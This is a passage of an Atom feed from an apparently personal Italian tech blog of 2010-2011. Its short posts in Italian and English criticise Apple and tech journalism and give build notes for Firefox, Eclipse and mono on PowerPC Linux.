href="http://www.blogger.com/goog_423051742"&gt;&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;span style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;editori&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;a href="http://www.blogger.com/goog_423051742"&gt;&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;hanno capito questo e così hanno deciso di effettuare una virata netta e decisa su altri mercati, tralasciando o mettendo da parte l’iBook Store. Per gli&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;a href="http://www.blogger.com/goog_423051742"&gt;&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;iPad&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;a href="http://www.blogger.com/goog_423051742"&gt;&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;si attende con impazienza l’uscita del quotidiano progettato solo per iPad da Rupert Murdoch, The Daily, ma i tempi sembrano essersi allungati. &lt;b&gt;In sostanza, se Murdoch non avesse creduto alle fandonie di Jobs, a quest'ora avrebbe davvero potuto avere in mano l'editoria digitale (purtroppo). Mentre ora e' costretto a mangiarsi le mani.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica; font-size: 13px; line-height: 22px;"&gt;[]&amp;nbsp;http://www.apple-blog.info/editoria-digitale-ed-ipad-le-vendite-sono-in-forte-calo/&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-7096421561274464656?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/7096421561274464656/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=7096421561274464656' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7096421561274464656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7096421561274464656'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/editoria-digitale-ed-ipad-gli-utenti-si.html' title='Editoria digitale ed iPad? Gli utenti si sono accorti della fregatura'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-7124277742691521349</id><published>2011-01-18T21:25:00.000+01:00</published><updated>2011-01-18T21:25:34.422+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powerpc archlinuxppc'/><title type='text'>Firefox, ipc and powerpc</title><content type='html'>As you already know, mozilla had cut'n'paste the entire ipc (InterProcess Communication) part of Chromium.&lt;br /&gt;Ipc are used to make sandbox for plugins and for tabs: it is an important feature that should be available to all firefox users.&lt;br /&gt;&lt;br /&gt;Sadly, Chromium developers focus on x86 and arm, so doesn't care if their code are portable. They doesn't care if their core is endianness-independent too: bad things, 'cause we don't know the future, and if future big endian chips will dominate the world.&lt;br /&gt;&lt;br /&gt;Mozilla has checked the code before cut &amp;amp; paste? Absolutely not!&lt;br /&gt;&lt;br /&gt;So, the only thing left to powerpc users is to disable the entire ipc part with --disable-ipc.&lt;br /&gt;&lt;br /&gt;I've spent this afternoon to play into their source code, and I have made a patch which adds atomic operation support in their code. You could see the patch here [1].&lt;br /&gt;&lt;br /&gt;If you have some time (I had exams :P) there is a nice things you could do: check data_pack.cc, and make it endianness-independent. Maybe there are only some swap todo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1]&amp;nbsp;https://bugzilla.mozilla.org/show_bug.cgi?id=579757&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-7124277742691521349?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/7124277742691521349/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=7124277742691521349' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7124277742691521349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7124277742691521349'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/firefox-ipc-and-powerpc.html' title='Firefox, ipc and powerpc'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-8337417985454101512</id><published>2011-01-16T11:50:00.001+01:00</published><updated>2011-01-16T12:00:51.312+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='giornalismo'/><title type='text'>Giornalismo Gossipparo</title><content type='html'>Una cosa un po' diversa dal solito. Dall'articolo [1], di un autore che per bonta' sua non si firma, leggo, in fondo, le seguenti parole:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px;"&gt;&lt;i&gt;Microsoft sembra partire in salita e al contrario del blasonato Iphone, pare essere sempre rincorrere un sistema stabile e "bugs free". C'è anche da dire che come sempre i suoi sistemi hanno una tecnologia, nel senso di codice, che molti "smanettoni" possono capire, utilizzare e a volte craccare.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;*) L'iphone e' bug free? Da quando? Esistono milioni di pagine relative al suo jailbreak, e questo dice che e' bug free. Se avesse letto articoli di altri, come [2], sempre sullo stesso sito, magari avrebbe una opinione diversa. Mah.&lt;br /&gt;&lt;br /&gt;*) I sistemi microsoft hanno del codice che molti smanettoni possono capire, utilizzare e craccare. Bene, questi simpatici smanettoni hanno del codice di una piattaforma chiusa: beh, allora sono un po' meno smanettoni, perche' non credo che sia cosi' facile ottenere il codice di windows.&lt;br /&gt;Se il codice non e' disponibile, cosa hanno fatto questi tre smanettoni? Del reverse in assembly? Non so se possono essere ancora chiamati smanettoni... L'ultima frase e' un tipico commento giornalistico che andrebbe evitato. Andrebbe evitato sia perche' in un articolo di giornale ci si deve limitare a riportare FATTI OGGETTIVI (per il resto ci sono i blog, come questo), ed andrebbe evitato perche' si rischia di ricadere nelle stra-pallosissime frasi del tipo "Gli hacker che rubano i soldi dalle carte di credito".&lt;br /&gt;&lt;br /&gt;Mioddio. Ho visto anche un altro articolo, sempre di I.T. [3], in cui e' cosa buona e giusta una macchina virtuale per ogni componente della famiglia (O_O) e che bisogna stare attenti, perche' virus possono passare da una parte (guest) all'altra (host) senza ritegno. Boh, io che non sono giornalista, so che certe cose possono accadere, pero' non l'avrei messa giu' cosi' : se si condividono documenti da fuori a dentro, e' chiaro che possono passare (soprattutto se l'host e' Windows), ma in casi di VM separate (come dovrebbe essere) non puo' e non deve accadere. Inutile allarmismo dunque.&lt;br /&gt;&lt;br /&gt;Un voto pessimo a I.T.&lt;br /&gt;&lt;br /&gt;[1]&amp;nbsp;http://www.newnotizie.it/2011/01/16/windows-phone-7-il-software-che-sbocca/&lt;br /&gt;[2]&amp;nbsp;http://www.newnotizie.it/2010/10/29/iphone-chiamate-gratis-a-causa-di-un-bug/&lt;br /&gt;[3]&amp;nbsp;http://www.newnotizie.it/2011/01/13/virtualizzazione-si-puo-fare-anche-sul-pc-di-casa/&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-8337417985454101512?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/8337417985454101512/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=8337417985454101512' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/8337417985454101512'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/8337417985454101512'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/giornalismo-gossipparo.html' title='Giornalismo Gossipparo'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-4866812225197305089</id><published>2011-01-14T19:42:00.001+01:00</published><updated>2011-01-14T19:43:14.681+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freedom apple'/><title type='text'>Wales: Dobbiamo essere padroni dei nostri dispositivi</title><content type='html'>Cosi' si e' espresso J. Wales, il founder di Wikipedia.&lt;br /&gt;Ha definito Apple come la minaccia maggiore per la liberta' di Internet, citando iTunes e i vari dispositivi come esempio di "dittatura malevola".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #222222; font-family: 'Helvetica Neue', Arial, sans-serif; font-size: 14px; line-height: 19px;"&gt;&lt;i&gt;“It’s like spending a lot of money on a new car and the manufacturer dictating who you can and can’t have as a passenger in it.”&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #222222; font-family: 'Helvetica Neue', Arial, sans-serif; font-size: 14px; line-height: 19px;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #222222; font-family: 'Helvetica Neue', Arial, sans-serif; font-size: 14px; line-height: 19px;"&gt;&lt;i&gt;"E' come spendere molti soldi in una nuova macchina, e avere il produttore che sceglie, senza possibilita' di replica, chi sale sopra e chi sta giu'"&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #222222; font-family: 'Helvetica Neue', Arial, sans-serif; font-size: 14px; line-height: 19px;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #222222; font-family: 'Helvetica Neue', Arial, sans-serif; font-size: 14px; line-height: 19px;"&gt;[]&amp;nbsp;http://swns.com/wikipedia-founder-jimmy-wales-apple-threatens-openness-of-internet-140918.html&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-4866812225197305089?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/4866812225197305089/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=4866812225197305089' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/4866812225197305089'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/4866812225197305089'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/wales-dobbiamo-essere-padroni-dei.html' title='Wales: Dobbiamo essere padroni dei nostri dispositivi'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-9016584500387756659</id><published>2011-01-13T20:03:00.002+01:00</published><updated>2011-01-13T20:03:20.746+01:00</updated><title type='text'>Yeah</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://0-focus-opensocial.googleusercontent.com/gadgets/proxy?container=focus&amp;amp;gadget=a&amp;amp;rewriteMime=image/*&amp;amp;refresh=31536000&amp;amp;url=http://26.media.tumblr.com/tumblr_l8i6yxRLbq1qz6z2wo1_500.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="https://0-focus-opensocial.googleusercontent.com/gadgets/proxy?container=focus&amp;amp;gadget=a&amp;amp;rewriteMime=image/*&amp;amp;refresh=31536000&amp;amp;url=http://26.media.tumblr.com/tumblr_l8i6yxRLbq1qz6z2wo1_500.jpg" width="239" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-9016584500387756659?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/9016584500387756659/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=9016584500387756659' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/9016584500387756659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/9016584500387756659'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/yeah.html' title='Yeah'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-2990883309318925998</id><published>2011-01-13T11:03:00.000+01:00</published><updated>2011-01-13T11:03:38.928+01:00</updated><title type='text'>iPhone 4b</title><content type='html'>Sta per uscire il nuovissimo e mirabolante iPhone 4b. Si, e' sempre un iPhone 4 (che bello, a Giugno esce l'iPhone nuovo, e bisogna comprare questo qui?) con una novita' di scarso rilievo: forse e' stato corretto il famoso "bug" degli esseri umani. Ma non era il bug dell'antenna?&lt;br /&gt;&lt;br /&gt;No, non era l'antenna che funzionava male, sono gli utenti mancini che sono nati male: la cara apple in ogni caso ha sistemato pure questo problema (sistemato.. l'ha ridotto, diciamo).&lt;br /&gt;&lt;br /&gt;Grazie Apple, i tuoi prodotti sono sempre i migliori. E grazie anche a Verizon (gestore di telefonia USA) che permette di acquistare l'iPhone 4b con contratto lockato per due anni (e tra 4 mesi, quando uscira' il nuovo iPhone.. ripeto.. che si fara'?)&lt;br /&gt;&lt;br /&gt;[]&amp;nbsp;http://gizmodo.com/5730642/the-verizon-iphones-got-a-new-antenna&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-2990883309318925998?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/2990883309318925998/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=2990883309318925998' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/2990883309318925998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/2990883309318925998'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/iphone-4b.html' title='iPhone 4b'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-2718506487985199235</id><published>2011-01-13T10:54:00.000+01:00</published><updated>2011-01-13T10:54:24.058+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freedom apple'/><title type='text'>iOS 4.3: HotSpot (col consenso del vostro gestore pero'...)</title><content type='html'>Una delle solite, imprevedibili e *nuovissime* feature per l'OS di Cupertino. Adesso sta per arrivare, in tutti gli iPhone... l'hotspot.&lt;br /&gt;&lt;br /&gt;L'hotspot e' quella feature che permette ad un utente di condividere la propria connessione dati tramite un punto d'accesso WiFi.&lt;br /&gt;&lt;br /&gt;C'e' da segnalare che la feature e' attivabile solo dal vostro gestore di telefonia, perlomeno con iOS 4.3 beta. Chissa' se in futuro Apple ci regalera' questa nuovissima e fiammante feature senza passare dai gestori. Gli utenti iPhone sono proprio fortunati !&lt;br /&gt;&lt;br /&gt;Come ? Android ha gia' questa feature? Ah, da.. un anno !?!? Ed e' anche libera ? Non ci credo.&lt;br /&gt;&lt;br /&gt;[]&amp;nbsp;http://www.bgr.com/2011/01/12/confirmed-personal-hotspot-feature-coming-to-all-iphones-in-ios-4-3/&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-2718506487985199235?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/2718506487985199235/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=2718506487985199235' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/2718506487985199235'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/2718506487985199235'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/ios-43-hotspot-col-consenso-del-vostro.html' title='iOS 4.3: HotSpot (col consenso del vostro gestore pero&apos;...)'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-7367221225519951276</id><published>2011-01-13T10:47:00.000+01:00</published><updated>2011-01-13T10:47:17.076+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freedom apple'/><title type='text'>Fail</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_E7GQvpnafE0/TPJucmmTK0I/AAAAAAAAAPA/7Z24VClotKw/s1600/ec007425-cd92-4cd1-ac6b-8950962873d2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="157" src="http://4.bp.blogspot.com/_E7GQvpnafE0/TPJucmmTK0I/AAAAAAAAAPA/7Z24VClotKw/s400/ec007425-cd92-4cd1-ac6b-8950962873d2.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-7367221225519951276?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/7367221225519951276/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=7367221225519951276' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7367221225519951276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7367221225519951276'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/fail.html' title='Fail'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_E7GQvpnafE0/TPJucmmTK0I/AAAAAAAAAPA/7Z24VClotKw/s72-c/ec007425-cd92-4cd1-ac6b-8950962873d2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-1806988185482162967</id><published>2011-01-13T10:40:00.001+01:00</published><updated>2011-01-13T10:41:09.556+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freedom microsoft'/><title type='text'>Windows Phone 7 e i troppi dati</title><content type='html'>Quanto mi hanno fatto ridere le lamentele di alcuni utenti (molti, a dir la verita') che il SO per telefoni di casa Redmond utilizza, in idle, dai 3 ai 5 Mb di dati anche su connessione 2/3G.&lt;br /&gt;&lt;br /&gt;Essendo la memoria, lo spazio, le risorse computazionali tutto in cloud, solo 3/5 Mb all'ora dimostrano quanto Microsoft sia stata brava a perfezionare i suoi algoritmi di gestione :-D&lt;br /&gt;&lt;br /&gt;[]&amp;nbsp;http://www.bbc.co.uk/news/technology-12152517&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-1806988185482162967?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/1806988185482162967/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=1806988185482162967' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/1806988185482162967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/1806988185482162967'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2011/01/windows-phone-7-e-i-troppi-dati.html' title='Windows Phone 7 e i troppi dati'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-3526818674035464472</id><published>2010-12-20T19:58:00.001+01:00</published><updated>2011-01-13T10:42:05.170+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powerpc archlinuxppc'/><title type='text'>Eclipse: what a pain to build</title><content type='html'>I was trying to build eclipse from sources, but I didn't find any detailed instruction. Then, someone pointed me to [1], where I found the ppc binaries, and the sources, and detailed instruction :)&lt;br /&gt;&lt;br /&gt;Thank you&amp;nbsp;&lt;rcjsuen&gt; !&lt;/rcjsuen&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1]&amp;nbsp;http://download.eclipse.org/eclipse/downloads/drops/R-3.6.1-201009090800/index.php&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-3526818674035464472?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/3526818674035464472/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=3526818674035464472' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/3526818674035464472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/3526818674035464472'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/12/eclipse-what-pain-to-build.html' title='Eclipse: what a pain to build'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-8609508871333333748</id><published>2010-12-11T12:00:00.001+01:00</published><updated>2011-01-13T10:42:20.464+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powerpc archlinuxppc'/><title type='text'>Unsupported relocation against r0</title><content type='html'>Today I'm building mono-2.8 for ArchlinuxPPC, and I get this error from the assembler:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;{standard input}: Assembler messages:&lt;/blockquote&gt;&lt;blockquote&gt;{standard input}:26505: Error: unsupported relocation against r0&lt;/blockquote&gt;&lt;blockquote&gt;make: *** [libmonoruntimesgen_la-sgen-gc.lo] Error 1&lt;/blockquote&gt;&lt;br /&gt;The solution is modifying CFLAGS:&lt;br /&gt;&lt;blockquote&gt;export CFLAGS="$CFLAGS -Xassembler -mregnames"&amp;nbsp;&lt;/blockquote&gt;&lt;br /&gt;Have a nice day&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-8609508871333333748?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/8609508871333333748/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=8609508871333333748' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/8609508871333333748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/8609508871333333748'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/12/unsupported-relocation-against-r0.html' title='Unsupported relocation against r0'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-280362480360623016</id><published>2010-10-25T10:26:00.001+02:00</published><updated>2011-01-13T10:42:43.402+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='life'/><title type='text'>Come mi sento today</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.youtube.com/watch?v=ijBmSkBmoUk"&gt;http://www.youtube.com/watch?v=ijBmSkBmoUk&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
